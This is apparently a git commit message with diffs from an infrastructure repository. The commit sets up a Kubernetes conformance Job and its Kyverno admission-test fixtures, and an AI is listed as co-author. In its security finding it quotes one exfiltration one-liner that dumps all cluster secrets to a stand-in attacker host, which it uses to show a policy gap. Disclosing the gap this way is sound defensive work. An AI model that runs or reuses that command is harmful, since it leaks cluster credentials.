feat(conformance): the in-cluster Job can now run a named commit and get its results out

`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -19,20 +19,24 @@ resources:
 userinfo: user-info.yaml
 results:
   # ---- the committed run is ADMITTED ----
+  # `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
+  # init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
+  # so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
+  # 2am against the live cluster. `good-run` remains the minimal shape.
   - policy: conformance-trigger-job-shape
     rule: trigger-may-create-only-the-committed-conformance-run
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-volumes-must-be-workspace-or-results
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-args-must-be-the-committed-flags
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
 
   # ---- THE escalation: runner SA + arbitrary command ----

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -1,4 +1,79 @@
-# The committed shape — must be ADMITTED.
+# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
+# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
+# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
+# `results` are the only two volume names admission allows. Must be ADMITTED.
+#
+# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
+# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
+# securityContext, and the presence of the init container) in step with it.
+#
+# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init
+# container's command/args/image are unconstrained. Swapping its args for an exfiltration
+# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in
+# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY
+# case is deliberately NOT added here: it would have to assert `pass` today, and would then
+# break the very PR that fixes the policy.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: real-template
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 65532
+        fsGroup: 65532
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/bash", "-c"]
+          args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            # BY SECRET NAME ONLY — and as env, not as a volume.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      containers:
+        - name: chainsaw
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          workingDir: /workspace/src/conformance
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The minimal committed shape — must be ADMITTED.
 apiVersion: batch/v1
 kind: Job
 metadata: